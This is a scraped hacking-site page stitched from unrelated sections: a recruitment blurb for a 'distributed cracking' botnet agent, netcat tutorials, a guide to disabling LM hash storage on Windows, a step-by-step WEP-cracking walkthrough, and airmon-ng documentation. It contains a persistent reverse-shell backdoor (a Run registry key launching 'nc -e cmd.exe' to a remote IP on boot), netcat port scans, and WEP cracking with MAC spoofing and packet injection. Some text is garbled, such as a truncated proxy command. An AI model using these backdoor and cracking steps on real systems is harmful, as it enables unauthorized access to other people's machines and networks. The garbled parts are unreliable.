Login

Truemobile Distributed Cracking Initiative

Introducing Truemobile-Cracking-Initiative - Distributed Agent Download. Point your client to {botnet.truemobile.net} and help us with our distributed cracking. Soon you will be able to submit your WPA2 handshakes which will be displayed here!

Netcat Proxy

A generic tcp proxy

There's one rather interesting use for netcat that comes in very handy when debugging network traffic. Remember our first example? We wanted to see the exact stream of characters returned from a remote server. What if we want to see all the requests coming in from people to one of our servers, and exactly what is sent back to them? It's not all that hard.

Let's monitor the web server we have on mason.stearns.org. First of all, we need to tell that server to listen on another port, say 81. That's done by editing "/etc/httpd/httpd.conf", changing "Listen 80" to "Listen 127.0.0.1:81" and restarting the web server.

Now we'll set up a server netcat to listen on port 80. We'll also set up a client netcat to talk to the real web server on port 81. By getting them to pass all data they receive to each other, together they form a proxy; something that sits in the middle of a network connection. Here are the commands we use:

mknod backpipe p
nc -l -p 80 0backpipe

Because bash pipes only carry data in one direction, we need to provide a way to carry the responses as well. We can create a pipe on the local filesystem to carry the data in the backwards direction with the mknod command; this only needs to be run once.

Requests coming into the proxy from the client arrive at the first nc, listening on port 80. They get handed off to the "tee" command, which logs them to the inflow file, then continue on to the second nc command which hands them off to the real web server. When a response comes back from the server, it arrives back at the second nc command, gets logged in the second tee command to the outflow file, and then gets pushed into the backpipe pipe on the local filesystem. Since the first netcat is listening to that pipe, these responses get handed to that first netcat, which then dutifully gives them back to the original client.

The exact form of the nc-tee-nc-tee command line will depend on whether this will be started by hand or in a boot script, and whether you want it to restart automatically or you just need to look at a single connection. Something similar to the above "nohup su nobody -c 'while...done' & will give a persistent proxy startable from the boot scripts, but this may need a little tweaking.

While the above example is for watching tcp streams going to and from a web server, the above technique is useful for watching any tcp connection. In fact, since nc also works with udp packets - something telnet can't do - it should be possible to even set up udp proxies this way.

Netcat

[[ Description ]]

Netcat is a featured networking utility which reads and writes data across network connections, using the TCP/IP protocol.
It is designed to be a reliable "back-end" tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities.

[[ Example ]]

Reverse Backdoor
Download Netcat and place in the windows\system32 directory.
**********************************************************************

Add a registry entry so that it connects each time the machine boots!
**********************************************************************
Reg add hklm\software\microsoft\windows\currentversion\run /v Mynetcat /t reg_sz /d “nc –d –e cmd.exe 192.168.1.173 555”
**********************************************************************
Setup listening port on remote machine
nc -l -v -p 555
**********************************************************************

Netcat Port Redirection
1. Computer A IP 10.10.10.1
2. Computer B IP 10.10.10.2
3. Open 1 DOS windows on computer A
4. Open 2 DOS windows on computer B
5. Type this in The DOS windows on A "nc -v -L -p 777 -e "nc
10.10.10.2 777“
6. Type this in The First DOS windows on B "nc -v -L -p 777“
7. Type this in The Second DOS windows on B"nc -v 10.10.10.1
777“
8. Now Type Stuff in Second DOS windows on B and you should
see them on the first DOS windows on B and A must notice
One connection made
nc -L -p 9000 -e "nc truemobile.net 9001"
nc -l -p 9000
********************************************************************************
Scanning with Netcat
nc -v -v -z 127.0.0.1 1-53
nc -v -v -z 127.0.0.1 21 25 53 139
nc -v -v -z example.host 80 139 1433
nc -v -v -z example.host 80 139 1433
nc -v -u -z -w 3 example.host 20-30
nc -v -v -z -u -r example.host 111 66-70 88 53 87 161-
164 121-123 213 49 2
nc -v -v -z -r example.host 21-25 42 53 66-80 107-118
137-139 156 161 162 389 568 569 1025 1027 1352
1433
***********************************************************************************
Banner Grabbing with Netcat
• nc -nvv xxx.xxx.xxx.xxx 80

Free List of Proxy Servers

Use NTLM or NTLMv2

Use NTLM or NTLMv2

Instead of storing your user account password in clear-text, Windows generates and stores user account passwords by using two different password representations, generally known as "hashes." When you set or change the password for a user account to a password that contains fewer than 15 characters, Windows generates both a LAN Manager hash (LM hash) and a Windows NT hash (NT hash) of the password. These hashes are stored in the local Security Accounts Manager (SAM) database or in Active Directory.

The LM hash is relatively weak compared to the NT hash, and it is therefore prone to fast brute force attack. Therefore, you may want to prevent Windows from storing an LM hash of your password

Windows 2000-based servers and Windows Server 2003-based servers can authenticate users who connect from computers that are running all earlier versions of Windows. However, versions of Windows earlier than Windows 2000 do not use Kerberos for authentication. For backward compatibility, Windows 2000 and Windows Server 2003 support LAN Manager (LM) authentication, Windows NT (NTLM) authentication, and NTLM version 2 (NTLMv2) authentications. The NTLM, NTLMv2, and Kerberos all use the NT hash, also known as the Unicode hash. The LM authentication protocol uses the LM hash. The use of LAN Manager hashes on the network can be disabled on Windows NT, 2000, 2003 & XP through registry edits or through the Local Security Policy. The instructions to do so can be found at in Microsoft Knowledgebase Article 147706 [12]. The storage of LAN Manager hashes also needs to be disabled; this can be done for Windows 2000, XP and 2003 again via registry edits or the Local Security Policy. The instructions to do so can be found at in Microsoft Knowledgebase Article 299656 [13].

Method 1: Implement the NoLMHash Policy by Using Group Policy

To disable the storage of LM hashes of a user's passwords in the local computer's SAM database by using Local Group Policy (Windows XP or Windows Server 2003) or in a Windows Server 2003 Active Directory environment by using Group Policy in Active Directory (Windows Server 2003), follow these steps:

1.

In Group Policy, expand Computer Configuration, expand Windows Settings, expand Security Settings, expand Local Policies, and then click Security Options.

2.

In the list of available policies, double-click Network security: Do not store LAN Manager hash value on next password change.

3.

Click Enabled, and then click OK.

Method 2: Implement the NoLMHash Policy by Editing the Registry

Windows 2000 SP2 and Later

To add this key by using Registry Editor, follow these steps:

1.

Start Registry Editor (Regedt32.exe).

2.

Locate and then click the following key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

3.

On the Edit menu, click Add Key, type NoLMHash, and then press ENTER.

4.

Quit Registry Editor.

5.

Restart the computer, and then change your password to make the setting active.

Notes

This registry key change must be made on all Windows 2000 domain controllers to disable the storage of LM hashes of users' passwords in a Windows 2000 Active Directory environment.

This registry key prevents new LM hashes from being created on Windows 2000-based computers, but it does not clear the history of previous LM hashes that are stored. Existing LM hashes that are stored will be removed as you change passwords.

Windows XP and Windows Server 2003

1.

Click Start, click Run, type regedit, and then click OK.

2.

Locate and then click the following key in the registry:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

3.

On the Edit menu, point to New, and then click DWORD Value.

4.

Type NoLMHash, and then press ENTER.

5.

On the Edit menu, click Modify.

6.

Type 1, and then click OK.

7.

Restart your computer, and then change your password.

Notes

This registry change must be made on all Windows Server 2003 domain controllers to disable the storage of LM hashes of users' passwords in a Windows 2003 Active Directory environment. If you are a domain administrator, you can use Active Directory Users and Computers Microsoft Management Console (MMC) to deploy this policy to all domain controllers or all computers on the domain as described in Method 1 (Implement the NoLMHash Policy by Using Group Policy).

This DWORD value prevents new LM hashes from being created on Windows XP-based computers and Windows Server 2003-based computers. The history of all previous LM hashes is cleared when you complete these steps.

Windows NT

Control of NTLM security is through the following registry key:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\LSA

Name: LMCompatibilityLevel
Type: REG_DWORD
Value: 5 : DC refuses LM and NTLM responses (accepts only NTLMv2)
Value: 4 : DC refuses LM responses
Value: 3 : Send NTLMv2 response only
Value: 2 : Send NTLM response only
Value: 1 : Use NTLMv2 session security if negotiated
Value: 0 : default - Send LM response and NTLM response; never use NTLMv2 session security

More information on the values:

Level 0 - Send LM and NTLM response; never use NTLM 2 session security. Clients use LM and NTLM authentication, and never use NTLM 2 session security; domain controllers accept LM, NTLM, and NTLM 2 authentication.

Level 1 - Use NTLM 2 session security if negotiated. Clients use LM and NTLM authentication, and use NTLM 2 session security if the server supports it; domain controllers accept LM, NTLM, and NTLM 2 authentication.

Level 2 - Send NTLM response only. Clients use only NTLM authentication, and use NTLM 2 session security if the server supports it; domain controllers accept LM, NTLM, and NTLM 2 authentication.

Level 3 - Send NTLM 2 response only. Clients use NTLM 2 authentication, and use NTLM 2 session security if the server supports it; domain controllers accept LM, NTLM, and NTLM 2 authentication.

Level 4 - Domain controllers refuse LM responses. Clients use NTLM authentication, and use NTLM 2 session security if the server supports it; domain controllers refuse LM authentication (that is, they accept NTLM and NTLM 2).

Level 5 - Domain controllers refuse LM and NTLM responses (accept only NTLM 2). Clients use NTLM 2 authentication, use NTLM 2 session security if the server supports it; domain controllers refuse NTLM and LM authentication (they accept only NTLM 2).

Method 3: Use a Password That Is at Least 15 Characters Long

The simplest way to prevent Windows from storing an LM hash of your password is to use a password that is at least 15 characters long. In this case, Windows stores an LM hash value that cannot be used to authenticate the user.

To get an idea of the power of using NTLM for your hash algorithm lets see how long it will take to generate a NTLM mixed-alphanumeric rainbow table with Winrtgen:

Aircrack-NG (Step by Step)

[[ Cracking Wep with Aircrack ]]


Aircrack-ng Step by Step

Posted Tue, 03/17/2009 - 12:00 by Anonymous

Below is a step by step guide that I have made several tweaks to for ultimate speed cracking for WEP
 
 
Enabling Monitor Mode on your Wireless Card
airmon-ng start wifi0
 
Bringing down the interface to change the mac address
ifconfig ath0 down
 
Utilizing macchanger to change the mac address to random value
macchanger -m 00:11:22:33:44:55 ath0
 
Bringing your wireless interface back online
ifconfig ath0 up
 
 
Utilizing Airodump to dump received packets from channel 2 to IVS file. BSSID is the mac address from the access point
airodump-ng -c 2 -w nsa.gov.ivs --bssid 00:00:00:00:00:00 ath0
 
Using Aireplay to create a successful authentication.
aireplay-ng -1 6000 -a 00:00:00:00:00:00 -h 00:11:22:33:44:55 ath0
 
Utilizing Airplay to inject arp packets back into the network
aireplay-ng -3 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:00:00:00:00:00 -h 00:11:22:33:44:55 ath0
 
Running Aircrack to test keys against capture
sudo aircrack-ng nsa.gov.ivs-01.cap
 
The end result will look like this. If your lucky and depending on the key length you can do it with as any as 5,000 IVs
[00:00:00] Tested 5 keys (got 25085 IVs)
 
KB depth byte(vote)
0 1/ 2 D4(32256) 43(30976) 62(30976) 03(30720) 32(30464) 78(30464) 1B(29696)
1 0/ 1 9F(35584) AA(33536) 62(32768) C5(32512) 45(32256) 57(31744) F8(31488)
2 0/ 1 8C(35584) 24(30720) 18(29952) 88(29952) 06(29696) 8D(29696) CD(29696)
3 0/ 2 18(31232) 44(30976) 6C(30720) B8(30720) 25(30464) 61(30464) 8A(30208)
4 0/ 1 4B(34560) AB(32256) 40(30976) 80(30720) B5(30720) C9(30464) 89(30208)
 
KEY FOUND! [ D4:9F:8C:45:4B ]
Decrypted correctly: 100%

 
This is for informational purposes only!!

How Do I Put My Card Back Into Managed Mode

Airmon-ng
Description
This script can be used to enable monitor mode on wireless interfaces. It may also be used to go back from monitor mode to managed mode. Entering the airmon-ng command without parameters will show the interfaces status.

Usage
usage: airmon-ng [channel]

Where:

indicates if you wish to start or stop the interface. (Mandatory)

specifies the interface. (Mandatory)

[channel] optionally set the card to a specific channel.

Usage Examples
Typical Uses
To start wlan0 in monitor mode: airmon-ng start wlan0

To start wlan0 in monitor mode on channel 8: airmon-ng start wlan0 8

To stop wlan0: airmon-ng stop wlan0

To check the status: airmon-ng

Madwifi-ng driver monitor mode
This describes how to put your interface into monitor mode. After starting your computer, enter “iwconfig” to show you the current status of the wireless interfaces. It likely looks similar the following output.

Enter “iwconfig”:

lo no wireless extensions.

eth0 no wireless extensions.

wifi0 no wireless extensions.

ath0 IEEE 802.11b ESSID:"" Nickname:""
Mode:Managed Channel:0 Access Point: Not-Associated
Bit Rate:0 kb/s Tx-Power:0 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0If you want to use ath0 (which is already used):

airmon-ng stop ath0

And the system will respond:

Interface Chipset Driver

wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)Now, if you do “iwconfig”:

System responds:

lo no wireless extensions.

eth0 no wireless extensions.

wifi0 no wireless extensions.You can see ath0 is gone.

To start ath0 in monitor mode: airmon-ng start wifi0

System responds:

Interface Chipset Driver

wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)Now enter “iwconfig”

System responds:

lo no wireless extensions.

eth0 no wireless extensions.

wifi0 no wireless extensions.

ath0 IEEE 802.11g ESSID:""
Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate=2 Mb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-96 dBm Noise level=-96 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0You can see ath0 is in monitor mode. Also make sure the essid, nickname and encryption have not been set. The access point shows the MAC address of the card. The MAC address of the card is only shown when using the madwifi-ng driver. Other drivers do not show the MAC address of the card.

If ath1/ath2 etc. is running then stop them first prior to all the commands above:

airmon-ng stop ath1You can set the channel number by adding it to the end: airmon-ng start wifi0 9

mac80211 drivers monitor mode
See mac80211 versus ieee80211 stacks for some background information.

When using the mac80211 version of a driver, the use of airmon-ng and the aircrack-ng tools are slightly different.

Running:

airmon-ng start wlan0Gives something like:

Interface Chipset Driver

wlan0 Intel 4965 a/b/g/n iwl4965 - [phy0]
(monitor mode enabled on mon0)Notice that it created “mon0”. You must then use “mon0” in all the subsequent aircrack-ng tools as the injection interface.

To remove monitor mode enter:

airmon-ng stop mon0Usage Tips
Confirming the Card is in Monitor Mode
To confirm that the card is in monitor mode, run the command “iwconfig”. You can then confirm the mode is “monitor” and the interface name.

For the madwifi-ng driver, the access point field from iwconfig shows your the MAC address of the wireless card.

Determining the Current Channel
To determine the current channel, enter “iwlist channel”. If you will be working with a specific access point, then the current channel of the card should match that of the AP. In this case, it is a good idea to include the channel number when running the initial airmon-ng command.

BSSIDs with Spaces, Special Characters
See this FAQ entry on how to define your BSSID if it has spaces, quotes, double quotes or special characters in it.

How Do I Put My Card Back into Managed Mode?
It depends on which driver you are using. For all drivers except madwifi-ng:

airmon-ng stop For madwifi-ng, first stop ALL interfaces:

airmon-ng stop athXWhere X is 0, 1, 2 etc. Do a stop for each interface that iwconfig lists.

Then:

wlanconfig ath create wlandev wifi0 wlanmode staSee madwifi-ng site documentation.

Usage Troubleshooting
General
Quite often, the standard scripts on a linux distribution will setup ath0 and or additional athX interfaces. These must all be removed first per the instructions above. Another problem is that the script set fields such as essid, nickname and encryptions. Be sure these are all cleared.

Interface athX number rising (ath0, ath1, ath2.... ath45..)
The original problem description and solution can be found in this forum thread.

Problem: Every time the command “airmon-ng start wifi0 x” is run, a new interface is created as it should, but there where two problems. The first is that for each time airmon-ng is run on wifi0 the interface number on ath increases: the first time is ath1, the second ath2, the third ath3, and and so on. And this continues so in a short period of time it is up to ath56 and continuing to climb. Unloading the madwifi-ng driver, or rebooting the system has no effect, and the number of the interface created by airmon-ng continues to increase.

The second problem is that if you run airmon-ng on wifi0 the athXX created does not show as being shown as in Monitor mode, even though it is. This can be confirmed via iwconfig.

All these problem related to how udev assigns interface names. The answer is in this ticket: http://madwifi.org/ticket/972#comment:12 Thanks to lucida. The source of the problem comes from the udev persistent net rules generator.

Each distro is different… So here is a solution specifically for Gentoo. You should be able to adapt this solution to your particular distribution.

Gentoo 2.6.20-r4 Udev 104-r12 Madwifi 0.9.3-r2 Aircrack-ng 0.7-r2

Solution:

Change the file /etc/udev/rules.d/75-persistent-net-generator.rules

From: KERNEL==“eth*|ath*|wlan*|ra*|sta*…….. To: KERNEL==“eth*|Ath*|wlan*|ra*|sta*…….

In other words, you just capitalize the a. ath* becomes Ath*. Save the file.

Now delete the file /etc/udev/rules.d/70-persistent-net.rules.

Remove the driver and insert back.

Removing ath also works: KERNEL==“eth*|wlan*|ra*|sta*….

This is also on Gentoo, both 2.6.19-gentoo-r5 and 2.6.20-gentoo-r6

For Ubuntu, see this Forum posting. The modified version of /etc/udev/rules.d/75-persistent-net-generator.rules is:

# these rules generate rules for persistent network device naming

ACTION=="add", SUBSYSTEM=="net", KERNEL=="eth*|Ath*|wlan*|ra*|sta*" \
NAME!="?*", DRIVERS=="?*", GOTO="persistent_net_generator_do"

GOTO="persistent_net_generator_end"
LABEL="persistent_net_generator_do"

# build device description string to add a comment the generated rule
SUBSYSTEMS=="pci", ENV{COMMENT}="PCI device attr{vendor}:$attr{device}($attr{driver})"
SUBSYSTEMS=="usb", ENV{COMMENT}="USB device 0x$attr{idVendor}:0x$attr{idProduct}($attr{driver})"
SUBSYSTEMS=="ieee1394", ENV{COMMENT}="Firewire device $attr{host_id})"
SUBSYSTEMS=="xen", ENV{COMMENT}="Xen virtual device"
ENV{COMMENT}=="", ENV{COMMENT}="$env{SUBSYSTEM} device ($attr{driver})"

IMPORT{program}="write_net_rules $attr{address}" ENV{INTERFACE_NEW}=="?*", NAME="$env{INTERFACE_NEW}"

LABEL="persistent_net_generator_end"Interface ath1 created instead of ath0
This troubleshooting tip applies to madwifi-ng drivers. First try stopping each VAP interface that is running (“airmon-ng stop IFACE” where IFACE is the VAP name). You can obtain the list from iwconfig. Then do “airmon-ng start wifi0”.

If this does not resolve the problem then follow the advice in this thread.

Why do I get ioctl(SIOCGIFINDEX) failed?
If you get error messages similar to:

Error message: “SIOCSIFFLAGS : No such file or directory”
Error message: “ioctl(SIOCGIFINDEX) failed: No such device”
Then See this FAQ entry.

Error message: "wlanconfig: command not found"
If you receive “wlanconfig: command not found” or similar then the wlanconfig command is missing from your system or is not in the the path. Use locate or find to determine if it is on your system and which directory it is in.

If it is missing from your system then make sure you have done a “make install” after compiling the madwifi-ng drivers. On Ubuntu, do “apt-get install madwifi-tools”.

If it is not in a directory in your path then move it there or add the directory to your path.

airmon-ng shows RT2500 instead of RT73
See this entry under installing the RT73 driver.

Error "add_iface: Permission denied"
You receive an error similar to:

Interface Chipset Driver

wlan0 iwl4965 - [phy0]/usr/sbin/airmon-ng: line 338: /sys/class/ieee80211/phy0/add_iface: Permission denied
mon0: unknown interface: No matching device found
(monitor mode enabled on mon0)This means you have an old version of airmon-ng installed. Upgrade to at least v1.0-rc1.

Release Candidate or SVN Version Notes
This section ONLY applies the latest SVN version and to some release candidate versions of the aircrack-ng suite. Once they are released as “stable” then the documentation above will be updated.

“airmon-ng check” will show any processes that might interfere with the aircrack-ng suite. It is strongly recommended that these processes be eliminated prior to using the aircrack-ng suite.
“airmon-ng check kill” will check and kill off processes that might interfere with the aircrack-ng suite.

IPTools

Main